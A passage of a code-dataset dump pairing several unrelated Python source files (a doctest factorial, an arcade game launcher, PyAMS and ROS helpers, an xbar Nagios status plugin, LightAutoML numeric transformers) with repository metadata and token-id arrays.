9258, 29918, 2271, 29918, 2084, 29897, 13, 4706, 1596, 29898, 1311, 29918, 2271, 29918, 2084, 29897, 13, 4706, 1596, 29898, 9258, 29918, 2271, 29918, 2084, 29897, 13, 4706, 736, 5735, 29918, 2271, 13, 2 ]
examples/doctest_example.py
pynickle/python-cheatsheet-redefined
11
135178
""" file for doctest """ import math def factorial(n): result = 1 factor = 2 while factor <= n: result *= factor factor += 1 return result
[ 1, 9995, 13, 1445, 363, 437, 312, 342, 13, 15945, 29908, 13, 5215, 5844, 13, 13, 13, 1753, 7329, 616, 29898, 29876, 1125, 13, 1678, 1121, 353, 29871, 29896, 13, 1678, 7329, 353, 29871, 29906, 13, 1678, 1550, 7329, 5277, 302, 29901, 13, 4706, 1121, 334, 29922, 7329, 13, 4706, 7329, 4619, 29871, 29896, 13, 1678, 736, 1121, 13, 2 ]
stickmanZ/__main__.py
MichaelMcFarland98/cse210-project
1
2130
<filename>stickmanZ/__main__.py from game.game_view import GameView from game.menu_view import menu_view from game import constants import arcade SCREEN_WIDTH = constants.SCREEN_WIDTH SCREEN_HEIGHT = constants.SCREEN_HEIGHT SCREEN_TITLE = constants.SCREEN_TITLE window = arcade.Window(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE) start_view = menu_view() window.show_view(start_view) arcade.run()
[ 1, 529, 9507, 29958, 303, 860, 1171, 29999, 29914, 1649, 3396, 26914, 2272, 13, 13, 3166, 3748, 29889, 11802, 29918, 1493, 1053, 8448, 1043, 13, 3166, 3748, 29889, 6510, 29918, 1493, 1053, 6143, 29918, 1493, 13, 3166, 3748, 1053, 17727, 13, 5215, 564, 6332, 13, 13, 13, 7187, 1525, 1430, 29918, 22574, 353, 17727, 29889, 7187, 1525, 1430, 29918, 22574, 13, 7187, 1525, 1430, 29918, 9606, 22530, 353, 17727, 29889, 7187, 1525, 1430, 29918, 9606, 22530, 13, 7187, 1525, 1430, 29918, 29911, 1806, 1307, 353, 17727, 29889, 7187, 1525, 1430, 29918, 29911, 1806, 1307, 13, 13, 7165, 353, 564, 6332, 29889, 5907, 29898, 7187, 1525, 1430, 29918, 22574, 29892, 12314, 1525, 1430, 29918, 9606, 22530, 29892, 12314, 1525, 1430, 29918, 29911, 1806, 1307, 29897, 13, 2962, 29918, 1493, 353, 6143, 29918, 1493, 580, 13, 7165, 29889, 4294, 29918, 1493, 29898, 2962, 29918, 1493, 29897, 13, 279, 6332, 29889, 3389, 580, 13, 2 ]
src/pyams_scheduler/zmi/interfaces.py
Py-AMS/pyams-scheduler
0
87663
# # Copyright (c) 2015-2021 <NAME> <tflorac AT ulthar.net> # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # """PyAMS_*** module """ __docformat__ = 'restructuredtext' from pyams_form.interfaces import DISPLAY_MODE, INPUT_MODE from pyams_form.interfaces.form import IForm from pyams_form.interfaces.widget import IWidget from pyams_form.template import widget_template_config from pyams_layer.interfaces import IPyAMSLayer @widget_template_config(mode=INPUT_MODE, template='templates/directory-host-input.pt', layer=IPyAMSLayer) @widget_template_config(mode=DISPLAY_MODE, template='templates/directory-host-display.pt', layer=IPyAMSLayer) class IDirectoryHandlerHostWidget(IWidget): """Directory handler host widget interface""" class ITaskForm(IForm): """Base task form interface"""
[ 1, 396, 13, 29937, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29945, 29899, 29906, 29900, 29906, 29896, 529, 5813, 29958, 529, 29873, 1579, 272, 562, 15531, 9238, 386, 279, 29889, 1212, 29958, 13, 29937, 2178, 26863, 2538, 9841, 29889, 13, 29937, 13, 29937, 910, 7047, 338, 4967, 304, 278, 1326, 12112, 310, 278, 796, 2300, 5236, 19245, 29892, 13, 29937, 10079, 29871, 29906, 29889, 29896, 313, 29999, 7390, 467, 29871, 319, 3509, 310, 278, 796, 7390, 881, 10259, 1384, 445, 4978, 29889, 13, 29937, 3446, 3235, 7791, 7818, 12982, 1525, 8519, 13756, 13044, 3352, 376, 3289, 8519, 29908, 5300, 13764, 29979, 5300, 15149, 8528, 15094, 1799, 6323, 306, 3580, 5265, 3352, 13, 29937, 399, 1718, 29934, 13566, 29059, 319, 1525, 28657, 13875, 8890, 29928, 29892, 2672, 6154, 15789, 4214, 29892, 350, 2692, 6058, 27848, 3352, 7495, 29892, 6093, 306, 3580, 5265, 3352, 13, 29937, 399, 1718, 29934, 13566, 29059, 8079, 323, 1806, 1307, 29892, 341, 1001, 3210, 13566, 2882, 6227, 11937, 29892, 319, 12739, 25580, 2672, 15860, 1177, 1692, 13780, 29892, 5300, 383, 1806, 8186, 1799, 13, 29937, 15842, 319, 349, 8322, 2965, 13309, 1718, 349, 4574, 13152, 1660, 29889, 13, 29937, 13, 13, 15945, 29908, 19737, 29909, 4345, 29918, 17435, 3883, 13, 13, 15945, 29908, 13, 13, 1649, 1514, 4830, 1649, 353, 525, 5060, 1247, 2955, 726, 29915, 13, 13, 3166, 11451, 2232, 29918, 689, 29889, 1639, 8726, 1053, 28657, 29925, 18799, 29918, 20387, 29892, 2672, 12336, 29918, 20387, 13, 3166, 11451, 2232, 29918, 689, 29889, 1639, 8726, 29889, 689, 1053, 306, 2500, 13, 3166, 11451, 2232, 29918, 689, 29889, 1639, 8726, 29889, 8030, 1053, 306, 8801, 13, 3166, 11451, 2232, 29918, 689, 29889, 6886, 1053, 11109, 29918, 6886, 29918, 2917, 13, 3166, 11451, 2232, 29918, 13148, 29889, 1639, 8726, 1053, 5641, 29891, 29909, 4345, 14420, 13, 13, 13, 29992, 8030, 29918, 6886, 29918, 2917, 29898, 8513, 29922, 1177, 12336, 29918, 20387, 29892, 13, 462, 4706, 4472, 2433, 20943, 29914, 12322, 29899, 3069, 29899, 2080, 29889, 415, 742, 7546, 29922, 5690, 29891, 29909, 4345, 14420, 29897, 13, 29992, 8030, 29918, 6886, 29918, 2917, 29898, 8513, 29922, 23711, 29925, 18799, 29918, 20387, 29892, 13, 462, 4706, 4472, 2433, 20943, 29914, 12322, 29899, 3069, 29899, 4990, 29889, 415, 742, 7546, 29922, 5690, 29891, 29909, 4345, 14420, 29897, 13, 1990, 3553, 5554, 4598, 8514, 8801, 29898, 29902, 8801, 1125, 13, 1678, 9995, 9882, 7834, 3495, 11109, 5067, 15945, 29908, 13, 13, 13, 1990, 306, 5398, 2500, 29898, 29902, 2500, 1125, 13, 1678, 9995, 5160, 3414, 883, 5067, 15945, 29908, 13, 2 ]
src/ros_deep_vision/umass_util.py
goolygu/ros-deep-vision
9
58691
from perception_msgs.msg import State from geometry_msgs.msg import Point, Pose def to_state_pose_msg_list(value_dict, filter_xyz_dict): state_list = [] pose_list = [] for sig in value_dict: state = State() state.type = 'cnn' state.name = str(sig) state.value = value_dict[sig] state_list.append(state) pose = Pose() if not state.value == 0: pose.position.x = filter_xyz_dict[sig][0] pose.position.y = filter_xyz_dict[sig][1] pose.position.z = filter_xyz_dict[sig][2] pose.orientation.x = 0 pose.orientation.y = 0 pose.orientation.z = 0 pose.orientation.w = 1 pose_list.append(pose) return state_list, pose_list
[ 1, 515, 639, 1441, 29918, 1516, 3174, 29889, 7645, 1053, 4306, 13, 3166, 16303, 29918, 1516, 3174, 29889, 7645, 1053, 8984, 29892, 349, 852, 13, 13, 1753, 304, 29918, 3859, 29918, 4220, 29918, 7645, 29918, 1761, 29898, 1767, 29918, 8977, 29892, 4175, 29918, 20230, 29918, 8977, 1125, 13, 1678, 2106, 29918, 1761, 353, 5159, 13, 1678, 18593, 29918, 1761, 353, 5159, 13, 1678, 363, 4365, 297, 995, 29918, 8977, 29901, 13, 4706, 2106, 353, 4306, 580, 13, 4706, 2106, 29889, 1853, 353, 525, 29883, 15755, 29915, 13, 4706, 2106, 29889, 978, 353, 851, 29898, 18816, 29897, 13, 4706, 2106, 29889, 1767, 353, 995, 29918, 8977, 29961, 18816, 29962, 13, 4706, 2106, 29918, 1761, 29889, 4397, 29898, 3859, 29897, 13, 13, 4706, 18593, 353, 349, 852, 580, 13, 4706, 565, 451, 2106, 29889, 1767, 1275, 29871, 29900, 29901, 13, 9651, 18593, 29889, 3283, 29889, 29916, 353, 4175, 29918, 20230, 29918, 8977, 29961, 18816, 3816, 29900, 29962, 13, 9651, 18593, 29889, 3283, 29889, 29891, 353, 4175, 29918, 20230, 29918, 8977, 29961, 18816, 3816, 29896, 29962, 13, 9651, 18593, 29889, 3283, 29889, 29920, 353, 4175, 29918, 20230, 29918, 8977, 29961, 18816, 3816, 29906, 29962, 13, 9651, 18593, 29889, 20659, 29889, 29916, 353, 29871, 29900, 13, 9651, 18593, 29889, 20659, 29889, 29891, 353, 29871, 29900, 13, 9651, 18593, 29889, 20659, 29889, 29920, 353, 29871, 29900, 13, 9651, 18593, 29889, 20659, 29889, 29893, 353, 29871, 29896, 13, 4706, 18593, 29918, 1761, 29889, 4397, 29898, 4220, 29897, 13, 1678, 736, 2106, 29918, 1761, 29892, 18593, 29918, 1761, 13, 2 ]
nagios.15s.py
zessx/xbar-nagios
0
184464
<reponame>zessx/xbar-nagios<filename>nagios.15s.py #! /usr/bin/env PYTHONIOENCODING=utf8 PYTHONUNBUFFERED=1 /usr/local/bin/python3 # <xbar.title>Nagios</xbar.title> # <xbar.version>1.0</xbar.version> # <xbar.author><NAME></xbar.author> # <xbar.author.github>zessx</xbar.author.github> # <xbar.desc>Monitor Nagios instance.</xbar.desc> # <xbar.dependencies>python</xbar.dependencies> # <xbar.abouturl>https://github.com/zessx/xbar-nagios</xbar.abouturl> # <xbar.var>string(NAGIOS_HOST='https://nagios.example.com'): Nagios host.</xbar.var> # <xbar.var>string(NAGIOS_USERNAME=''): Nagios username.</xbar.var> # <xbar.var>string(NAGIOS_PASSWORD=''): Nagios password.</xbar.var> import re import requests import os NAGIOS_HOST = os.environ.get('NAGIOS_HOST', False) NAGIOS_USERNAME = os.environ.get('NAGIOS_USERNAME', False) NAGIOS_PASSWORD = os.environ.get('NAGIOS_PASSWORD', False) if not NAGIOS_HOST or not NAGIOS_USERNAME or not NAGIOS_PASSWORD: print("Nagios: config error | color=purple") else: try: data = str(requests.get("%s/cgi-bin/nagios3/tac.cgi" % NAGIOS_HOST, auth=(NAGIOS_USERNAME, NAGIOS_PASSWORD), timeout=1).content) critical = int(re.search('>(\d+)\sCritical<', data, re.MULTILINE)[1]) warning = int(re.search('>(\d+)\sWarning<', data, re.MULTILINE)[1]) unknown = int(re.search('>(\d+)\sUnknown<', data, re.MULTILINE)[1]) ok = int(re.search('>(\d+)\sOk<', data, re.MULTILINE)[1]) services = ok + warning + unknown + critical color = 'green' if critical > 0: color = 'red' elif warning > 0 or unknown > 0: color = 'yellow' output = "%u Ok" % ok if services != ok: first = True if critical > 0: output = "{} Cri.".format(critical) first = False if warning > 0: output = ('' if first else output + ' / ') + "{} War.".format(warning) first = False if unknown > 0: output = ('' if first else output + ' / ') + "{} Unk.".format(unknown) print("Nagios: {} | color={}".format(output, color)) print("---") print('⚡️ Refresh now | font=Menlo | refresh=true') print("⚠️ Show problems | font=Menlo | href={}/cgi-bin/nagios3/status.cgi?host=all&servicestatustypes=28".format(NAGIOS_HOST)) print("🔎 Show all services | font=Menlo | href={}/cgi-bin/nagios3/status.cgi?host=all".format(NAGIOS_HOST)) except requests.exceptions.ConnectionError: print("Nagios: host unreachable | color=purple") except Exception as err: print("Nagios: {} | color=purple".format(err))
[ 1, 529, 276, 1112, 420, 29958, 28790, 29916, 29914, 29916, 1646, 29899, 29876, 351, 2363, 29966, 9507, 29958, 29876, 351, 2363, 29889, 29896, 29945, 29879, 29889, 2272, 13, 29937, 29991, 847, 4855, 29914, 2109, 29914, 6272, 349, 29979, 4690, 1164, 5971, 1430, 3217, 29928, 4214, 29922, 9420, 29947, 349, 29979, 4690, 1164, 3904, 7838, 28483, 3352, 29922, 29896, 847, 4855, 29914, 2997, 29914, 2109, 29914, 4691, 29941, 13, 13, 29937, 529, 29916, 1646, 29889, 3257, 29958, 29940, 351, 2363, 829, 29916, 1646, 29889, 3257, 29958, 13, 29937, 529, 29916, 1646, 29889, 3259, 29958, 29896, 29889, 29900, 829, 29916, 1646, 29889, 3259, 29958, 13, 29937, 529, 29916, 1646, 29889, 8921, 5299, 5813, 2565, 29916, 1646, 29889, 8921, 29958, 13, 29937, 529, 29916, 1646, 29889, 8921, 29889, 3292, 29958, 28790, 29916, 829, 29916, 1646, 29889, 8921, 29889, 3292, 29958, 13, 29937, 529, 29916, 1646, 29889, 14273, 29958, 7185, 2105, 14461, 2363, 2777, 21106, 29916, 1646, 29889, 14273, 29958, 13, 29937, 529, 29916, 1646, 29889, 22594, 29958, 4691, 829, 29916, 1646, 29889, 22594, 29958, 13, 29937, 529, 29916, 1646, 29889, 12717, 2271, 29958, 991, 597, 3292, 29889, 510, 29914, 28790, 29916, 29914, 29916, 1646, 29899, 29876, 351, 2363, 829, 29916, 1646, 29889, 12717, 2271, 29958, 13, 13, 29937, 529, 29916, 1646, 29889, 1707, 29958, 1807, 29898, 3521, 29954, 25925, 29918, 20832, 2433, 991, 597, 29876, 351, 2363, 29889, 4773, 29889, 510, 29374, 14461, 2363, 3495, 21106, 29916, 1646, 29889, 1707, 29958, 13, 29937, 529, 29916, 1646, 29889, 1707, 29958, 1807, 29898, 3521, 29954, 25925, 29918, 11889, 5813, 2433, 29374, 14461, 2363, 8952, 21106, 29916, 1646, 29889, 1707, 29958, 13, 29937, 529, 29916, 1646, 29889, 1707, 29958, 1807, 29898, 3521, 29954, 25925, 29918, 25711, 17013, 2433, 29374, 14461, 2363, 4800, 21106, 29916, 1646, 29889, 1707, 29958, 13, 13, 5215, 337, 13, 5215, 7274, 13, 5215, 2897, 13, 13, 3521, 29954, 25925, 29918, 20832, 353, 2897, 29889, 21813, 29889, 657, 877, 3521, 29954, 25925, 29918, 20832, 742, 7700, 29897, 13, 3521, 29954, 25925, 29918, 11889, 5813, 353, 2897, 29889, 21813, 29889, 657, 877, 3521, 29954, 25925, 29918, 11889, 5813, 742, 7700, 29897, 13, 3521, 29954, 25925, 29918, 25711, 17013, 353, 2897, 29889, 21813, 29889, 657, 877, 3521, 29954, 25925, 29918, 25711, 17013, 742, 7700, 29897, 13, 13, 361, 451, 8598, 29954, 25925, 29918, 20832, 470, 451, 8598, 29954, 25925, 29918, 11889, 5813, 470, 451, 8598, 29954, 25925, 29918, 25711, 17013, 29901, 13, 29871, 1596, 703, 29940, 351, 2363, 29901, 2295, 1059, 891, 2927, 29922, 15503, 552, 1159, 13, 13, 2870, 29901, 13, 29871, 1018, 29901, 13, 1678, 848, 353, 851, 29898, 24830, 29889, 657, 11702, 29879, 29914, 20006, 29899, 2109, 29914, 29876, 351, 2363, 29941, 29914, 21229, 29889, 20006, 29908, 1273, 8598, 29954, 25925, 29918, 20832, 29892, 4817, 7607, 3521, 29954, 25925, 29918, 11889, 5813, 29892, 8598, 29954, 25925, 29918, 25711, 17013, 511, 11815, 29922, 29896, 467, 3051, 29897, 13, 268, 13, 1678, 12187, 353, 938, 29898, 276, 29889, 4478, 877, 29958, 1194, 29881, 29974, 2144, 29879, 29907, 768, 936, 29966, 742, 848, 29892, 337, 29889, 29924, 8647, 6227, 8895, 9601, 29896, 2314, 13, 1678, 9177, 353, 938, 29898, 276, 29889, 4478, 877, 29958, 1194, 29881, 29974, 2144, 29879, 22709, 29966, 742, 848, 29892, 337, 29889, 29924, 8647, 6227, 8895, 9601, 29896, 2314, 13, 1678, 9815, 353, 938, 29898, 276, 29889, 4478, 877, 29958, 1194, 29881, 29974, 2144, 29879, 14148, 29966, 742, 848, 29892, 337, 29889, 29924, 8647, 6227, 8895, 9601, 29896, 2314, 13, 1678, 3431, 353, 938, 29898, 276, 29889, 4478, 877, 29958, 1194, 29881, 29974, 2144, 29879, 20434, 29966, 742, 848, 29892, 337, 29889, 29924, 8647, 6227, 8895, 9601, 29896, 2314, 13, 268, 13, 1678, 5786, 353, 3431, 718, 9177, 718, 9815, 718, 12187, 13, 1678, 2927, 353, 525, 12692, 29915, 13, 1678, 565, 12187, 1405, 29871, 29900, 29901, 13, 418, 2927, 353, 525, 1127, 29915, 13, 1678, 25342, 9177, 1405, 29871, 29900, 470, 9815, 1405, 29871, 29900, 29901, 13, 418, 2927, 353, 525, 29136, 29915, 13, 13, 1678, 1962, 353, 11860, 29884, 3674, 29908, 1273, 3431, 13, 1678, 565, 5786, 2804, 3431, 29901, 13, 418, 937, 353, 5852, 13, 418, 565, 12187, 1405, 29871, 29900, 29901, 13, 4706, 1962, 353, 376, 8875, 315, 374, 1213, 29889, 4830, 29898, 9695, 936, 29897, 13, 4706, 937, 353, 7700, 13, 418, 565, 9177, 1405, 29871, 29900, 29901, 13, 4706, 1962, 353, 313, 4907, 565, 937, 1683, 1962, 718, 525, 847, 25710, 718, 376, 8875, 3362, 1213, 29889, 4830, 29898, 27392, 29897, 13, 4706, 937, 353, 7700, 13, 418, 565, 9815, 1405, 29871, 29900, 29901, 13, 4706, 1962, 353, 313, 4907, 565, 937, 1683, 1962, 718, 525, 847, 25710, 718, 376, 8875, 853, 29895, 1213, 29889, 4830, 29898, 26690, 29897, 13, 13, 1678, 1596, 703, 29940, 351, 2363, 29901, 6571, 891, 2927, 3790, 29913, 1642, 4830, 29898, 4905, 29892, 2927, 876, 13, 1678, 1596, 703, 5634, 1159, 13, 1678, 1596, 877, 229, 157, 164, 30598, 9897, 3781, 1286, 891, 4079, 29922, 28154, 417, 891, 11086, 29922, 3009, 1495, 13, 1678, 1596, 703, 229, 157, 163, 30598, 7704, 4828, 891, 4079, 29922, 28154, 417, 891, 2822, 3790, 6822, 20006, 29899, 2109, 29914, 29876, 351, 2363, 29941, 29914, 4882, 29889, 20006, 29973, 3069, 29922, 497, 29987, 2140, 293, 342, 271, 504, 7384, 29922, 29906, 29947, 1642, 4830, 29898, 3521, 29954, 25925, 29918, 20832, 876, 13, 1678, 1596, 703, 243, 162, 151, 145, 7704, 599, 5786, 891, 4079, 29922, 28154, 417, 891, 2822, 3790, 6822, 20006, 29899, 2109, 29914, 29876, 351, 2363, 29941, 29914, 4882, 29889, 20006, 29973, 3069, 29922, 497, 1642, 4830, 29898, 3521, 29954, 25925, 29918, 20832, 876, 13, 13, 29871, 5174, 7274, 29889, 11739, 29879, 29889, 5350, 2392, 29901, 13, 1678, 1596, 703, 29940, 351, 2363, 29901, 3495, 443, 276, 496, 519, 891, 2927, 29922, 15503, 552, 1159, 13, 268, 13, 29871, 5174, 8960, 408, 4589, 29901, 13, 1678, 1596, 703, 29940, 351, 2363, 29901, 6571, 891, 2927, 29922, 15503, 552, 1642, 4830, 29898, 3127, 876, 13, 2 ]
lightautoml/transformers/numeric.py
Cybsloth/LightAutoML
2
1613482
"""Numeric features transformers.""" from typing import Union import numpy as np from ..dataset.base import LAMLDataset from ..dataset.np_pd_dataset import NumpyDataset from ..dataset.np_pd_dataset import PandasDataset from ..dataset.roles import CategoryRole from ..dataset.roles import NumericRole from .base import LAMLTransformer # type - something that can be converted to pandas dataset NumpyTransformable = Union[NumpyDataset, PandasDataset] def numeric_check(dataset: LAMLDataset): """Check if all passed vars are categories. Args: dataset: Dataset to check. Raises: AssertionError: If there is non number role. """ roles = dataset.roles features = dataset.features for f in features: assert roles[f].name == "Numeric", "Only numbers accepted in this transformer" class NaNFlags(LAMLTransformer): """Create NaN flags. Args: nan_rate: Nan rate cutoff. """ _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "nanflg" def __init__(self, nan_rate: float = 0.005): self.nan_rate = nan_rate def fit(self, dataset: NumpyTransformable): """Extract nan flags. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: self. """ # set transformer names and add checks for check_func in self._fit_checks: check_func(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # fit ... ds_nan_rate = np.isnan(data).mean(axis=0) self.nan_cols = [name for (name, nan_rate) in zip(dataset.features, ds_nan_rate) if nan_rate > self.nan_rate] self._features = list(self.nan_cols) return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Transform - extract null flags. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() nans = dataset[:, self.nan_cols].data # transform new_arr = np.isnan(nans).astype(np.float32) # create resulted output = dataset.empty().to_numpy() output.set_data(new_arr, self.features, NumericRole(np.float32)) return output class FillnaMedian(LAMLTransformer): """Fillna with median.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "fillnamed" def fit(self, dataset: NumpyTransformable): """Estimate medians. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: self. """ # set transformer names and add checks super().fit(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data self.meds = np.nanmedian(data, axis=0) self.meds[np.isnan(self.meds)] = 0 return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Transform - fillna with medians. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform data = np.where(np.isnan(data), self.meds, data) # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class FillInf(LAMLTransformer): """Fill inf with nan to handle as nan value.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "fillinf" def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Replace inf to nan. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform data = np.where(np.isinf(data), np.nan, data) # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class LogOdds(LAMLTransformer): """Convert probs to logodds.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "logodds" def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Transform - convert num values to logodds. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform # TODO: maybe np.exp and then cliping and logodds? data = np.clip(data, 1e-7, 1 - 1e-7) data = np.log(data / (1 - data)) # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class StandardScaler(LAMLTransformer): """Classic StandardScaler.""" _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "scaler" def fit(self, dataset: NumpyTransformable): """Estimate means and stds. Args: dataset: Pandas or Numpy dataset of categorical features. Returns: self. """ # set transformer names and add checks super().fit(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data self.means = np.nanmean(data, axis=0) self.stds = np.nanstd(data, axis=0) # Fix zero stds to 1 self.stds[(self.stds == 0) | np.isnan(self.stds)] = 1 return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Scale test data. Args: dataset: Pandas or Numpy dataset of numeric features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform data = (data - self.means) / self.stds # create resulted output = dataset.empty().to_numpy() output.set_data(data, self.features, NumericRole(np.float32)) return output class QuantileBinning(LAMLTransformer): """Discretization of numeric features by quantiles. Args: nbins: maximum number of bins. """ _fit_checks = (numeric_check,) _transform_checks = () _fname_prefix = "qntl" def __init__(self, nbins: int = 10): self.nbins = nbins def fit(self, dataset: NumpyTransformable): """Estimate bins borders. Args: dataset: Pandas or Numpy dataset of numeric features. Returns: self. """ # set transformer names and add checks super().fit(dataset) # set transformer features # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data sl = np.isnan(data) grid = np.linspace(0, 1, self.nbins + 1)[1:-1] self.bins = [] for n in range(data.shape[1]): q = np.quantile(data[:, n][~sl[:, n]], q=grid) q = np.unique(q) self.bins.append(q) return self def transform(self, dataset: NumpyTransformable) -> NumpyDataset: """Apply bin borders. Args: dataset: Pandas or Numpy dataset of numeric features. Returns: Numpy dataset with encoded labels. """ # checks here super().transform(dataset) # convert to accepted dtype and get attributes dataset = dataset.to_numpy() data = dataset.data # transform sl = np.isnan(data) new_data = np.zeros(data.shape, dtype=np.int32) for n, b in enumerate(self.bins): new_data[:, n] = np.searchsorted(b, np.where(sl[:, n], np.inf, data[:, n])) + 1 new_data = np.where(sl, 0, new_data) # create resulted output = dataset.empty().to_numpy() output.set_data(new_data, self.features, CategoryRole(np.int32, label_encoded=True)) return output
[ 1, 9995, 29940, 25099, 5680, 4327, 414, 1213, 15945, 13, 13, 3166, 19229, 1053, 7761, 13, 13, 5215, 12655, 408, 7442, 13, 13, 3166, 6317, 24713, 29889, 3188, 1053, 17900, 1988, 16390, 24541, 13, 3166, 6317, 24713, 29889, 9302, 29918, 15926, 29918, 24713, 1053, 11848, 2272, 16390, 24541, 13, 3166, 6317, 24713, 29889, 9302, 29918, 15926, 29918, 24713, 1053, 349, 7086, 16390, 24541, 13, 3166, 6317, 24713, 29889, 307, 793, 1053, 17943, 16727, 13, 3166, 6317, 24713, 29889, 307, 793, 1053, 405, 25099, 16727, 13, 3166, 869, 3188, 1053, 17900, 1988, 13372, 261, 13, 13, 13, 29937, 1134, 448, 1554, 393, 508, 367, 11543, 304, 11701, 8783, 13, 8009, 2272, 13372, 519, 353, 7761, 29961, 8009, 2272, 16390, 24541, 29892, 349, 7086, 16390, 24541, 29962, 13, 13, 13, 1753, 16985, 29918, 3198, 29898, 24713, 29901, 17900, 1988, 16390, 24541, 1125, 13, 1678, 9995, 5596, 565, 599, 4502, 24987, 526, 13997, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 8783, 29901, 13373, 24541, 304, 1423, 29889, 13, 13, 1678, 390, 1759, 267, 29901, 13, 4706, 16499, 291, 2392, 29901, 960, 727, 338, 1661, 1353, 6297, 29889, 13, 13, 1678, 9995, 13, 1678, 16178, 353, 8783, 29889, 307, 793, 13, 1678, 5680, 353, 8783, 29889, 22100, 13, 1678, 363, 285, 297, 5680, 29901, 13, 4706, 4974, 16178, 29961, 29888, 1822, 978, 1275, 376, 29940, 25099, 613, 376, 11730, 3694, 9259, 297, 445, 4327, 261, 29908, 13, 13, 13, 1990, 18780, 15675, 29898, 4375, 1988, 13372, 261, 1125, 13, 1678, 9995, 4391, 18780, 13449, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 23432, 29918, 10492, 29901, 25701, 6554, 5700, 2696, 29889, 13, 13, 1678, 9995, 13, 13, 1678, 903, 9202, 29918, 3198, 29879, 353, 313, 21574, 29918, 3198, 29892, 29897, 13, 1678, 903, 9067, 29918, 3198, 29879, 353, 3861, 13, 1678, 903, 29888, 978, 29918, 13506, 353, 376, 13707, 1579, 29887, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 23432, 29918, 10492, 29901, 5785, 353, 29871, 29900, 29889, 29900, 29900, 29945, 1125, 13, 4706, 1583, 29889, 13707, 29918, 10492, 353, 23432, 29918, 10492, 13, 13, 1678, 822, 6216, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 1125, 13, 4706, 9995, 5647, 1461, 23432, 13449, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 11608, 936, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 1583, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 731, 4327, 261, 2983, 322, 788, 12747, 13, 4706, 363, 1423, 29918, 9891, 297, 1583, 3032, 9202, 29918, 3198, 29879, 29901, 13, 9651, 1423, 29918, 9891, 29898, 24713, 29897, 13, 4706, 396, 731, 4327, 261, 5680, 13, 13, 4706, 396, 3588, 304, 9259, 26688, 322, 679, 8393, 13, 4706, 8783, 353, 8783, 29889, 517, 29918, 23749, 580, 13, 4706, 848, 353, 8783, 29889, 1272, 13, 4706, 396, 6216, 2023, 13, 4706, 18031, 29918, 13707, 29918, 10492, 353, 7442, 29889, 275, 13707, 29898, 1272, 467, 12676, 29898, 8990, 29922, 29900, 29897, 13, 4706, 1583, 29889, 13707, 29918, 22724, 353, 518, 978, 363, 313, 978, 29892, 23432, 29918, 10492, 29897, 297, 14319, 29898, 24713, 29889, 22100, 29892, 18031, 29918, 13707, 29918, 10492, 29897, 565, 23432, 29918, 10492, 1405, 1583, 29889, 13707, 29918, 10492, 29962, 13, 4706, 1583, 3032, 22100, 353, 1051, 29898, 1311, 29889, 13707, 29918, 22724, 29897, 13, 13, 4706, 736, 1583, 13, 13, 1678, 822, 4327, 29898, 1311, 29892, 8783, 29901, 11848, 2272, 13372, 519, 29897, 1599, 11848, 2272, 16390, 24541, 29901, 13, 4706, 9995, 13372, 448, 6597, 1870, 13449, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 8783, 29901, 349, 7086, 470, 11848, 2272, 8783, 310, 11608, 936, 5680, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 11848, 2272, 8783, 411, 18511, 11073, 29889, 13, 13, 4706, 9995, 13, 4706, 396, 12747, 1244, 13, 4706, 2428, 2141, 9067, 29898, 24713, 29897, 13, 4706, 396, 3588, 304, 9259, 26688, 